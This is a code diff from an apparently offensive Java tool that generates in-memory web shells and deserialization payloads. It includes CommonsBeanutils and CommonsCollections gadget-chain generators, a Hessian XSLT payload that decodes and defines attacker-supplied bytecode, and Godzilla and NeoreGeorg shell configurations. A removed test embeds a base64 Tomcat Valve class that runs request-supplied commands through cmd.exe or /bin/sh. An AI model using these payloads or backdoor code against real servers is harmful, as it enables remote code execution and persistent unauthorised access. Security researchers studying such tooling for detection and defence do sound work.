.headerValue(shellToolConfig.getHeaderValue())
|
||||
.headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8)))
|
||||
.build();
|
||||
case NeoreGeorg -> NeoreGeorgConfig.builder()
|
||||
.shellClassName(shellToolConfig.getShellClassName())
|
||||
.headerName(shellToolConfig.getHeaderName())
|
||||
.headerValue(shellToolConfig.getHeaderValue())
|
||||
.headerValue(StringUtils.defaultIfBlank(shellToolConfig.getHeaderValue(), CommonUtil.getRandomString(8)))
|
||||
.build();
|
||||
case Custom -> CustomConfig.builder()
|
||||
.shellClassBase64(shellToolConfig.getShellClassBase64())
|
||||
.shellClassName(shellToolConfig.getShellClassName())
|
||||
.build();
|
||||
case Proxy -> ProxyConfig.builder()
|
||||
.headerName(shellToolConfig.getHeaderName())
|
||||
.headerValue(shellToolConfig.getHeaderValue())
|
||||
.shellClassName(shellToolConfig.shellClassName).build();
|
||||
default -> throw new UnsupportedOperationException("unknown shell tool " + shellConfig.getShellTool());
|
||||
};
|
||||
}
|
||||
@@ -0,0 +1,29 @@
|
||||
package com.reajason.javaweb.boot.dto;
|
||||
|
||||
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||
import lombok.Data;
|
||||
import lombok.NoArgsConstructor;
|
||||
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/18
|
||||
*/
|
||||
@Data
|
||||
@NoArgsConstructor
|
||||
public class GenerateResponse {
|
||||
private GenerateResult generateResult;
|
||||
private String packResult;
|
||||
private Map<String, String> allPackResults;
|
||||
|
||||
public GenerateResponse(GenerateResult generateResult, String packResult) {
|
||||
this.generateResult = generateResult;
|
||||
this.packResult = packResult;
|
||||
}
|
||||
|
||||
public GenerateResponse(GenerateResult generateResult, Map<String, String> allPackResults) {
|
||||
this.allPackResults = allPackResults;
|
||||
this.generateResult = generateResult;
|
||||
}
|
||||
}
|
||||
@@ -1,29 +0,0 @@
|
||||
package com.reajason.javaweb.boot.dto;
|
||||
|
||||
import com.reajason.javaweb.memshell.MemShellResult;
|
||||
import lombok.Data;
|
||||
import lombok.NoArgsConstructor;
|
||||
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/18
|
||||
*/
|
||||
@Data
|
||||
@NoArgsConstructor
|
||||
public class MemShellGenerateResponse {
|
||||
private MemShellResult memShellResult;
|
||||
private String packResult;
|
||||
private Map<String, String> allPackResults;
|
||||
|
||||
public MemShellGenerateResponse(MemShellResult memShellResult, String packResult) {
|
||||
this.memShellResult = memShellResult;
|
||||
this.packResult = packResult;
|
||||
}
|
||||
|
||||
public MemShellGenerateResponse(MemShellResult memShellResult, Map<String, String> allPackResults) {
|
||||
this.allPackResults = allPackResults;
|
||||
this.memShellResult = memShellResult;
|
||||
}
|
||||
}
|
||||
@@ -1,44 +0,0 @@
|
||||
package com.reajason.javaweb.boot.dto;
|
||||
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import com.reajason.javaweb.probe.config.*;
|
||||
import lombok.Data;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/8/10
|
||||
*/
|
||||
@Data
|
||||
public class ProbeShellGenerateRequest {
|
||||
private ProbeConfig probeConfig;
|
||||
private ProbeContentConfigDTO probeContentConfig;
|
||||
private Packers packer;
|
||||
|
||||
@Data
|
||||
static class ProbeContentConfigDTO {
|
||||
private String host;
|
||||
private int seconds;
|
||||
private String server;
|
||||
private String sleepServer;
|
||||
private String reqParamName;
|
||||
private String commandTemplate;
|
||||
}
|
||||
|
||||
public ProbeContentConfig parseProbeContentConfig() {
|
||||
return switch (probeConfig.getProbeMethod()) {
|
||||
case DNSLog -> DnsLogConfig.builder()
|
||||
.host(probeContentConfig.host)
|
||||
.build();
|
||||
case Sleep -> SleepConfig.builder()
|
||||
.seconds(probeContentConfig.seconds)
|
||||
.server(probeContentConfig.sleepServer)
|
||||
.build();
|
||||
case ResponseBody -> ResponseBodyConfig.builder()
|
||||
.reqParamName(probeContentConfig.reqParamName)
|
||||
.commandTemplate(probeContentConfig.commandTemplate)
|
||||
.server(probeContentConfig.server)
|
||||
.build();
|
||||
default -> throw new UnsupportedOperationException("unknown probe method: " + probeConfig.getProbeMethod());
|
||||
};
|
||||
}
|
||||
}
|
||||
@@ -1,29 +0,0 @@
|
||||
package com.reajason.javaweb.boot.dto;
|
||||
|
||||
import com.reajason.javaweb.probe.ProbeShellResult;
|
||||
import lombok.Data;
|
||||
import lombok.NoArgsConstructor;
|
||||
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/8/10
|
||||
*/
|
||||
@Data
|
||||
@NoArgsConstructor
|
||||
public class ProbeShellGenerateResponse {
|
||||
private ProbeShellResult probeShellResult;
|
||||
private String packResult;
|
||||
private Map<String, String> allPackResults;
|
||||
|
||||
public ProbeShellGenerateResponse(ProbeShellResult probeShellResult, String packResult) {
|
||||
this.probeShellResult = probeShellResult;
|
||||
this.packResult = packResult;
|
||||
}
|
||||
|
||||
public ProbeShellGenerateResponse(ProbeShellResult probeShellResult, Map<String, String> allPackResults) {
|
||||
this.allPackResults = allPackResults;
|
||||
this.probeShellResult = probeShellResult;
|
||||
}
|
||||
}
|
||||
@@ -1,7 +1,7 @@
|
||||
package com.reajason.javaweb.boot.entity;
|
||||
|
||||
import lombok.Builder;
|
||||
import lombok.Data;
|
||||
import lombok.Builder;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
|
||||
@@ -1,7 +1,4 @@
|
||||
spring:
|
||||
application:
|
||||
name: boot
|
||||
version: ${version}
|
||||
mvc:
|
||||
pathmatch:
|
||||
matching-strategy: ant_path_matcher
|
||||
version: ${version}
|
||||
@@ -1,18 +0,0 @@
|
||||
package com.reajason.javaweb.boot.controller;
|
||||
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/11/10
|
||||
*/
|
||||
class ClassNameParseControllerTest {
|
||||
@Test
|
||||
void test(){
|
||||
ClassNameParseController classNameParseController = new ClassNameParseController();
|
||||
String className = classNameParseController.className("yv66vgAAADIAiAEALG9yZy9hcGFjaGUvaHR0cC93ZWIvaGFuZGxlcnMvSUZOdnAvQXV0aFZhbHZlBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEAGW9yZy9hcGFjaGUvY2F0YWxpbmEvVmFsdmUHAAUBAAlwYXJhbU5hbWUBABJMamF2YS9sYW5nL1N0cmluZzsBAAhndmR1amx2YwgACQEABG5leHQBABtMb3JnL2FwYWNoZS9jYXRhbGluYS9WYWx2ZTsBAAY8aW5pdD4BAAMoKVYMAA0ADgoABAAPAQAGaW52b2tlAQBSKExvcmcvYXBhY2hlL2NhdGFsaW5hL2Nvbm5lY3Rvci9SZXF1ZXN0O0xvcmcvYXBhY2hlL2NhdGFsaW5hL2Nvbm5lY3Rvci9SZXNwb25zZTspVgEAE2phdmEvaW8vSU9FeGNlcHRpb24HABMBAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24HABUBABNqYXZhL2xhbmcvVGhyb3dhYmxlBwAXDAAHAAgJAAIAGQEAJW9yZy9hcGFjaGUvY2F0YWxpbmEvY29ubmVjdG9yL1JlcXVlc3QHABsBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwwAHQAeCgAcAB8BAAhnZXRQYXJhbQwAIQAeCgACACIBAA5nZXRJbnB1dFN0cmVhbQEAKShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvaW8vSW5wdXRTdHJlYW07DAAkACUKAAIAJgEAJm9yZy9hcGFjaGUvY2F0YWxpbmEvY29ubmVjdG9yL1Jlc3BvbnNlBwAoAQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsMACoAKwoAKQAsAQARamF2YS91dGlsL1NjYW5uZXIHAC4BABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYMAA0AMAoALwAxAQACXEEIADMBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsMADUANgoALwA3AQAUKClMamF2YS9sYW5nL1N0cmluZzsMAAsAOQoALwA6AQATamF2YS9pby9QcmludFdyaXRlcgcAPAEABXdyaXRlAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWDAA+AD8KAD0AQAEAD3ByaW50U3RhY2tUcmFjZQwAQgAOCgAYAEMBAAdnZXROZXh0AQAdKClMb3JnL2FwYWNoZS9jYXRhbGluYS9WYWx2ZTsMAEUARgoAAgBHDAARABILAAYASQEAE2phdmEvbGFuZy9FeGNlcHRpb24HAEsBABBqYXZhL2xhbmcvU3RyaW5nBwBNAQATamF2YS9pby9JbnB1dFN0cmVhbQcATwEAB29zLm5hbWUIAFEBABBqYXZhL2xhbmcvU3lzdGVtBwBTAQALZ2V0UHJvcGVydHkMAFUAHgoAVABWAQALdG9Mb3dlckNhc2UMAFgAOQoATgBZAQAGd2luZG93CABbAQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoMAF0AXgoATgBfAQAHY21kLmV4ZQgAYQEAAi9jCABjAQAHL2Jpbi9zaAgAZQEAAi1jCABnAQATW0xqYXZhL2xhbmcvU3RyaW5nOwcAaQEAGGphdmEvbGFuZy9Qcm9jZXNzQnVpbGRlcgcAawEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYMAA0AbQoAbABuAQATcmVkaXJlY3RFcnJvclN0cmVhbQEAHShaKUxqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXI7DABwAHEKAGwAcgEABXN0YXJ0AQAVKClMamF2YS9sYW5nL1Byb2Nlc3M7DAB0AHUKAGwAdgEAEWphdmEvbGFuZy9Qcm9jZXNzBwB4AQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsMACQAegoAeQB7DAALAAwJAAIAfQEAB3NldE5leHQBAB4oTG9yZy9hcGFjaGUvY2F0YWxpbmEvVmFsdmU7KVYBABBpc0FzeW5jU3VwcG9ydGVkAQADKClaAQARYmFja2dyb3VuZFByb2Nlc3MBAA1Db25zdGFudFZhbHVlAQAEQ29kZQEADVN0YWNrTWFwVGFibGUBAApFeGNlcHRpb25zACEAAgAEAAEABgACAAgABwAIAAEAhAAAAAIACgAAAAsADAAAAAgAAQANAA4AAQCFAAAAEQABAAEAAAAFKrcAELEAAAAAAAEAEQASAAIAhQAAAGYABAAFAAAARCorsgAatgAgtwAjTi3GACMqLbcAJzoELLYALbsAL1kZBLcAMhI0tgA4tgA7tgBBsacACE4ttgBEKrYASCssuQBKAwCxAAEAAAAvADMAGAABAIYAAAAIAAMwQgcAGAQAhwAAAAYAAgAUABYAAgAhAB4AAQCFAAAADgABAAIAAAACK7AAAAAAAAIAJAAlAAIAhQAAAJMABAAEAAAAWipNK04AAacAA00SUrgAV7YAWhJctgBgmQAYBr0ATlkDEmJTWQQSZFNZBStTpwAVBr0ATlkDEmZTWQQSaFNZBStTTrsAbFkttwBvBLYAc7YAd7YAfE2nAAMssAAAAAEAhgAAACcABv0ABAcAAgcATv8ABAACBwACBwBOAAEHAFD8AAAHAFAkUQcAahYAhwAAAAQAAQBMAAEARQBGAAEAhQAAABEAAQABAAAABSq0AH6wAAAAAAABAH8AgAABAIUAAAASAAIAAgAAAAYqK7UAfrEAAAAAAAEAgQCCAAEAhQAAAA4AAQABAAAAAgOsAAAAAAABAIMADgABAIUAAAANAAAAAQAAAAGxAAAAAAAA");
|
||||
assertEquals("org.apache.http.web.handlers.IFNvp.AuthValve", className);
|
||||
}
|
||||
}
|
||||
@@ -26,22 +26,31 @@ public class ConfigControllerIntegrationTest {
|
||||
|
||||
@Test
|
||||
public void testConfigEndpoint() {
|
||||
ResponseEntity<Map> response = restTemplate.getForEntity("/api/config", Map.class);
|
||||
ResponseEntity<Map> response = restTemplate.getForEntity("/config", Map.class);
|
||||
|
||||
assertEquals(HttpStatus.OK, response.getStatusCode());
|
||||
assertNotNull(response.getBody());
|
||||
|
||||
Map body = response.getBody();
|
||||
assertNotNull(body);
|
||||
}
|
||||
|
||||
@Test
|
||||
public void testConfigServersEndpoint() {
|
||||
ResponseEntity<Map> response = restTemplate.getForEntity("/api/config/servers", Map.class);
|
||||
ResponseEntity<Map> response = restTemplate.getForEntity("/config/servers", Map.class);
|
||||
|
||||
assertEquals(HttpStatus.OK, response.getStatusCode());
|
||||
assertNotNull(response.getBody());
|
||||
|
||||
Map body = response.getBody();
|
||||
assertNotNull(body);
|
||||
}
|
||||
|
||||
@Test
|
||||
public void testConfigPackersEndpoint() {
|
||||
ResponseEntity<List> response = restTemplate.getForEntity("/api/config/packers", List.class);
|
||||
ResponseEntity<List> response = restTemplate.getForEntity("/config/packers", List.class);
|
||||
|
||||
assertEquals(HttpStatus.OK, response.getStatusCode());
|
||||
assertNotNull(response.getBody());
|
||||
|
||||
List<String> body = response.getBody();
|
||||
assertNotNull(body);
|
||||
}
|
||||
}
|
||||
@@ -1,58 +0,0 @@
|
||||
package com.reajason.javaweb.boot.controller;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.boot.dto.MemShellGenerateRequest;
|
||||
import com.reajason.javaweb.boot.dto.MemShellGenerateResponse;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.springframework.beans.factory.annotation.Autowired;
|
||||
import org.springframework.boot.test.context.SpringBootTest;
|
||||
import org.springframework.boot.test.web.client.TestRestTemplate;
|
||||
import org.springframework.http.HttpStatus;
|
||||
import org.springframework.http.ResponseEntity;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
import static org.junit.jupiter.api.Assertions.assertNotNull;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/9/16
|
||||
*/
|
||||
@SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT)
|
||||
class MemShellGeneratorControllerTest {
|
||||
|
||||
@Autowired
|
||||
TestRestTemplate restTemplate;
|
||||
|
||||
@Test
|
||||
void generateShell() {
|
||||
MemShellGenerateRequest request = new MemShellGenerateRequest();
|
||||
request.setShellConfig(ShellConfig.builder()
|
||||
.server(Server.Tomcat)
|
||||
.shellType(ShellType.FILTER)
|
||||
.shellTool(ShellTool.Godzilla)
|
||||
.shrink(true)
|
||||
.debug(true)
|
||||
.serverVersion("Unknown")
|
||||
.targetJreVersion(50)
|
||||
.build());
|
||||
request.setInjectorConfig(InjectorConfig.builder()
|
||||
.urlPattern("/*")
|
||||
.build());
|
||||
request.setPacker(Packers.ScriptEngine);
|
||||
MemShellGenerateRequest.ShellToolConfigDTO shellToolConfigDTO = new MemShellGenerateRequest.ShellToolConfigDTO();
|
||||
shellToolConfigDTO.setGodzillaKey("key");
|
||||
shellToolConfigDTO.setGodzillaPass("pass");
|
||||
shellToolConfigDTO.setHeaderName("User-Agent");
|
||||
shellToolConfigDTO.setHeaderValue("hello");
|
||||
request.setShellToolConfig(shellToolConfigDTO);
|
||||
ResponseEntity<MemShellGenerateResponse> response = restTemplate.postForEntity(
|
||||
"/api/memshell/generate", request, MemShellGenerateResponse.class);
|
||||
assertEquals(HttpStatus.OK, response.getStatusCode());
|
||||
assertNotNull(response.getBody());
|
||||
}
|
||||
}
|
||||
@@ -1 +0,0 @@
|
||||
rootProject.name = "build-logic"
|
||||
@@ -1,24 +1,21 @@
|
||||
plugins {
|
||||
id("java")
|
||||
id("idea")
|
||||
}
|
||||
|
||||
idea {
|
||||
module {
|
||||
excludeDirs.add(file("src"))
|
||||
}
|
||||
}
|
||||
|
||||
version = "2.6.1"
|
||||
version = "1.10.0"
|
||||
|
||||
tasks.register("publishAllToMavenCentral") {
|
||||
dependsOn(":memshell-party-common:publishToMavenCentral")
|
||||
dependsOn(":packer:publishToMavenCentral")
|
||||
dependsOn(":generator:publishToMavenCentral")
|
||||
}
|
||||
|
||||
tasks.register("publishAllToMavenLocal") {
|
||||
dependsOn(":memshell-party-common:publishToMavenLocal")
|
||||
dependsOn(":packer:publishToMavenLocal")
|
||||
dependsOn(":generator:publishToMavenLocal")
|
||||
val isSnapshot = rootProject.version.toString().endsWith("-SNAPSHOT")
|
||||
if (isSnapshot) {
|
||||
dependsOn(":memshell-party-bom:publishAllPublicationsToMavenCentralRepository")
|
||||
dependsOn(":memshell-party-common:publishAllPublicationsToMavenCentralRepository")
|
||||
dependsOn(":deserialize:publishAllPublicationsToMavenCentralRepository")
|
||||
dependsOn(":memshell:publishAllPublicationsToMavenCentralRepository")
|
||||
dependsOn(":generator:publishAllPublicationsToMavenCentralRepository")
|
||||
} else {
|
||||
dependsOn(":memshell-party-bom:publishAndReleaseToMavenCentral")
|
||||
dependsOn(":memshell-party-common:publishAndReleaseToMavenCentral")
|
||||
dependsOn(":deserialize:publishAndReleaseToMavenCentral")
|
||||
dependsOn(":memshell:publishAndReleaseToMavenCentral")
|
||||
dependsOn(":generator:publishAndReleaseToMavenCentral")
|
||||
}
|
||||
}
|
||||
@@ -7,5 +7,5 @@ repositories {
|
||||
}
|
||||
|
||||
dependencies {
|
||||
implementation("com.vanniktech:gradle-maven-publish-plugin:0.35.0")
|
||||
implementation("com.vanniktech:gradle-maven-publish-plugin:0.32.0")
|
||||
}
|
||||
@@ -1,9 +1,11 @@
|
||||
import com.vanniktech.maven.publish.SonatypeHost
|
||||
|
||||
plugins {
|
||||
id("com.vanniktech.maven.publish")
|
||||
}
|
||||
|
||||
mavenPublishing {
|
||||
publishToMavenCentral(automaticRelease = true, validateDeployment = true)
|
||||
publishToMavenCentral(SonatypeHost.CENTRAL_PORTAL)
|
||||
signAllPublications()
|
||||
coordinates(
|
||||
"io.github.reajason",
|
||||
@@ -9,16 +9,15 @@ description = "Java deserialize payload for MemShellParty"
|
||||
version = rootProject.version
|
||||
|
||||
dependencies {
|
||||
implementation(platform(project(":memshell-party-bom")))
|
||||
implementation(project(":memshell-party-common"))
|
||||
implementation(libs.bcel)
|
||||
implementation(libs.bundles.jna)
|
||||
implementation(libs.jackson.databind)
|
||||
implementation("net.bytebuddy:byte-buddy")
|
||||
implementation("com.caucho:hessian:4.0.66")
|
||||
implementation("commons-beanutils:commons-beanutils:1.9.2")
|
||||
implementation("commons-collections:commons-collections:3.2.1")
|
||||
implementation("org.apache.commons:commons-collections4:4.0")
|
||||
testImplementation(libs.junit.jupiter)
|
||||
testRuntimeOnly(libs.junit.platform.launcher)
|
||||
testImplementation(platform("org.junit:junit-bom"))
|
||||
testImplementation("org.junit.jupiter:junit-jupiter")
|
||||
}
|
||||
|
||||
java {
|
||||
@@ -0,0 +1,12 @@
|
||||
package com.reajason.javaweb.deserialize;
|
||||
|
||||
import lombok.Data;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/13
|
||||
*/
|
||||
@Data
|
||||
public class DeserializeConfig {
|
||||
private PayloadType payloadType;
|
||||
}
|
||||
@@ -0,0 +1,24 @@
|
||||
package com.reajason.javaweb.deserialize;
|
||||
|
||||
import com.caucho.hessian.io.Hessian2Output;
|
||||
import lombok.SneakyThrows;
|
||||
|
||||
import java.io.ByteArrayOutputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/2/19
|
||||
*/
|
||||
public class Hessian2DeserializeGenerator {
|
||||
@SneakyThrows
|
||||
public static byte[] generate(byte[] bytes, String className, DeserializeConfig config) {
|
||||
PayloadType payloadType = config.getPayloadType();
|
||||
Object obj = payloadType.getPayload().generate(bytes, className);
|
||||
ByteArrayOutputStream bos = new ByteArrayOutputStream();
|
||||
Hessian2Output hessian2Output = new Hessian2Output(bos);
|
||||
hessian2Output.getSerializerFactory().setAllowNonSerializable(true);
|
||||
hessian2Output.writeObject(obj);
|
||||
hessian2Output.close();
|
||||
return bos.toByteArray();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,24 @@
|
||||
package com.reajason.javaweb.deserialize;
|
||||
|
||||
import com.caucho.hessian.io.HessianOutput;
|
||||
import lombok.SneakyThrows;
|
||||
|
||||
import java.io.ByteArrayOutputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/2/19
|
||||
*/
|
||||
public class HessianDeserializeGenerator {
|
||||
@SneakyThrows
|
||||
public static byte[] generate(byte[] bytes, String className, DeserializeConfig config) {
|
||||
PayloadType payloadType = config.getPayloadType();
|
||||
Object obj = payloadType.getPayload().generate(bytes, className);
|
||||
ByteArrayOutputStream bos = new ByteArrayOutputStream();
|
||||
HessianOutput hessianOutput = new HessianOutput(bos);
|
||||
hessianOutput.getSerializerFactory().setAllowNonSerializable(true);
|
||||
hessianOutput.writeObject(obj);
|
||||
hessianOutput.close();
|
||||
return bos.toByteArray();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,25 @@
|
||||
package com.reajason.javaweb.deserialize;
|
||||
|
||||
import lombok.SneakyThrows;
|
||||
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.ObjectOutputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/13
|
||||
*/
|
||||
public class JavaDeserializeGenerator {
|
||||
|
||||
@SneakyThrows
|
||||
public static byte[] generate(byte[] bytes, DeserializeConfig config) {
|
||||
PayloadType payloadType = config.getPayloadType();
|
||||
Object obj = payloadType.getPayload().generate(bytes);
|
||||
ByteArrayOutputStream baos = new ByteArrayOutputStream();
|
||||
ObjectOutputStream oos = new ObjectOutputStream(baos);
|
||||
oos.writeObject(obj);
|
||||
oos.flush();
|
||||
oos.close();
|
||||
return baos.toByteArray();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,28 @@
|
||||
package com.reajason.javaweb.deserialize;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/13
|
||||
*/
|
||||
public interface Payload {
|
||||
/**
|
||||
* 将恶意类字节流封装成序列化对象
|
||||
*
|
||||
* @param bytes 恶意类字节流
|
||||
* @return 序列化对象
|
||||
*/
|
||||
default Object generate(byte[] bytes) {
|
||||
throw new UnsupportedOperationException();
|
||||
}
|
||||
|
||||
/**
|
||||
* 将恶意类字节流封装成序列化对象
|
||||
*
|
||||
* @param bytes 恶意类字节流
|
||||
* @param className 恶意类名
|
||||
* @return 序列化对象
|
||||
*/
|
||||
default Object generate(byte[] bytes, String className) {
|
||||
throw new UnsupportedOperationException();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,47 @@
|
||||
package com.reajason.javaweb.deserialize;
|
||||
|
||||
import com.reajason.javaweb.deserialize.payload.hessian.XSLTScriptEngine;
|
||||
import com.reajason.javaweb.deserialize.payload.java.*;
|
||||
import lombok.Getter;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/13
|
||||
*/
|
||||
@Getter
|
||||
public enum PayloadType {
|
||||
/**
|
||||
* CB 链
|
||||
*/
|
||||
CommonsBeanutils16(new CommonsBeanutils16()),
|
||||
CommonsBeanutils18(new CommonsBeanutils18()),
|
||||
CommonsBeanutils19(new CommonsBeanutils19()),
|
||||
CommonsBeanutils110(new CommonsBeanutils110()),
|
||||
|
||||
/**
|
||||
* CC 链
|
||||
*/
|
||||
CommonsCollections3(new CommonCollections3()),
|
||||
CommonsCollections4(new CommonCollections4()),
|
||||
|
||||
/**
|
||||
* Hessian XSLT write
|
||||
*/
|
||||
XSLTScriptEngine(new XSLTScriptEngine())
|
||||
;
|
||||
|
||||
private final Payload payload;
|
||||
|
||||
PayloadType(Payload payload) {
|
||||
this.payload = payload;
|
||||
}
|
||||
|
||||
public static PayloadType getPayloadType(String payloadType) {
|
||||
for (PayloadType value : values()) {
|
||||
if (value.name().equals(payloadType)) {
|
||||
return value;
|
||||
}
|
||||
}
|
||||
throw new IllegalArgumentException("unknown payload type: " + payloadType);
|
||||
}
|
||||
}
|
||||
@@ -1,8 +1,8 @@
|
||||
package com.reajason.javaweb.packer.deserialize;
|
||||
package com.reajason.javaweb.deserialize;
|
||||
|
||||
import com.reajason.javaweb.ClassBytesShrink;
|
||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
||||
import com.reajason.javaweb.packer.deserialize.utils.Reflections;
|
||||
import com.reajason.javaweb.deserialize.utils.Reflections;
|
||||
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
|
||||
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
|
||||
import lombok.SneakyThrows;
|
||||
@@ -1,7 +1,8 @@
|
||||
package com.reajason.javaweb.packer.deserialize.hessian;
|
||||
package com.reajason.javaweb.deserialize.payload.hessian;
|
||||
|
||||
import com.reajason.javaweb.packer.deserialize.utils.HessianUtils;
|
||||
import com.reajason.javaweb.packer.deserialize.utils.Reflections;
|
||||
import com.reajason.javaweb.deserialize.Payload;
|
||||
import com.reajason.javaweb.deserialize.utils.HessianUtils;
|
||||
import com.reajason.javaweb.deserialize.utils.Reflections;
|
||||
import lombok.SneakyThrows;
|
||||
|
||||
import javax.swing.*;
|
||||
@@ -13,9 +14,10 @@ import java.util.HashMap;
|
||||
* @author ReaJason
|
||||
* @since 2025/2/19
|
||||
*/
|
||||
public class XSLTScriptEngine {
|
||||
public class XSLTScriptEngine implements Payload {
|
||||
@Override
|
||||
@SneakyThrows
|
||||
public static Object generate(byte[] bytes, String className) {
|
||||
public Object generate(byte[] bytes, String className) {
|
||||
String base64Str = Base64.getEncoder().encodeToString(bytes);
|
||||
|
||||
String tmpPath = "/tmp/CACHE_XML";
|
||||
@@ -24,7 +26,7 @@ public class XSLTScriptEngine {
|
||||
" xmlns:se=\"http://xml.apache.org/xalan/java/javax.script.ScriptEngineManager\"\n" +
|
||||
" xmlns:js=\"http://xml.apache.org/xalan/java/javax.script.ScriptEngine\">\n" +
|
||||
" <xsl:template match=\"/\">\n" +
|
||||
" <xsl:variable name=\"js\" select=\""var classLoader = new java.net.URLClassLoader(java.lang.reflect.Array.newInstance(java.lang.Class.forName('java.net.URL'), 0),java.lang.Thread.currentThread().getContextClassLoader());var className = '" + className + "';var base64Str = '" + base64Str + "';try { classLoader.loadClass(className).newInstance();} catch (e) { var clsString = classLoader.loadClass('java.lang.String'); var bytecode; try { var clsBase64 = classLoader.loadClass('java.util.Base64'); var clsDecoder = classLoader.loadClass('java.util.Base64$Decoder'); var decoder = clsBase64.getMethod('getDecoder').invoke(base64Clz); bytecode = clsDecoder.getMethod('decode', clsString).invoke(decoder, base64Str); } catch (ee) { try { var datatypeConverterClz = classLoader.loadClass('javax.xml.bind.DatatypeConverter'); bytecode = datatypeConverterClz.getMethod('parseBase64Binary', clsString).invoke(datatypeConverterClz, base64Str); } catch (eee) { var clazz1 = classLoader.loadClass('sun.misc.BASE64Decoder'); bytecode = clazz1.newInstance().decodeBuffer(base64Str); } } var clsClassLoader = classLoader.loadClass('java.lang.ClassLoader'); var clsByteArray = (new java.lang.String('a').getBytes().getClass()); var clsInt = java.lang.Integer.TYPE; var defineClass = clsClassLoader.getDeclaredMethod('defineClass', [clsByteArray, clsInt, clsInt]); defineClass.setAccessible(true); var clazz = defineClass.invoke(classLoader, bytecode, new java.lang.Integer(0), new java.lang.Integer(bytecode.length)); clazz.newInstance();}new java.io.File('" + tmpPath + "').delete()"\" />\n" +
|
||||
" <xsl:variable name=\"js\" select=\""var classLoader = java.lang.Thread.currentThread().getContextClassLoader();var className = '" + className + "';var base64Str = '" + base64Str + "';try { classLoader.loadClass(className).newInstance();} catch (e) { var clsString = classLoader.loadClass('java.lang.String'); var bytecode; try { var clsBase64 = classLoader.loadClass('java.util.Base64'); var clsDecoder = classLoader.loadClass('java.util.Base64$Decoder'); var decoder = clsBase64.getMethod('getDecoder').invoke(base64Clz); bytecode = clsDecoder.getMethod('decode', clsString).invoke(decoder, base64Str); } catch (ee) { try { var datatypeConverterClz = classLoader.loadClass('javax.xml.bind.DatatypeConverter'); bytecode = datatypeConverterClz.getMethod('parseBase64Binary', clsString).invoke(datatypeConverterClz, base64Str); } catch (eee) { var clazz1 = classLoader.loadClass('sun.misc.BASE64Decoder'); bytecode = clazz1.newInstance().decodeBuffer(base64Str); } } var clsClassLoader = classLoader.loadClass('java.lang.ClassLoader'); var clsByteArray = (new java.lang.String('a').getBytes().getClass()); var clsInt = java.lang.Integer.TYPE; var defineClass = clsClassLoader.getDeclaredMethod('defineClass', [clsByteArray, clsInt, clsInt]); defineClass.setAccessible(true); var clazz = defineClass.invoke(classLoader, bytecode, new java.lang.Integer(0), new java.lang.Integer(bytecode.length)); clazz.newInstance();}new java.io.File('" + tmpPath + "').delete()"\" />\n" +
|
||||
" <xsl:variable name=\"result\" select=\"js:eval(se:getEngineByName(se:new(),'js'), $js)\"/>\n" +
|
||||
" <xsl:value-of select=\"$result\"/>\n" +
|
||||
" </xsl:template>\n" +
|
||||
@@ -1,10 +1,8 @@
|
||||
package com.reajason.javaweb.packer.deserialize.java;
|
||||
package com.reajason.javaweb.deserialize.payload.java;
|
||||
|
||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||
import com.reajason.javaweb.packer.Packer;
|
||||
import com.reajason.javaweb.packer.deserialize.JavaDeserializeGenerator;
|
||||
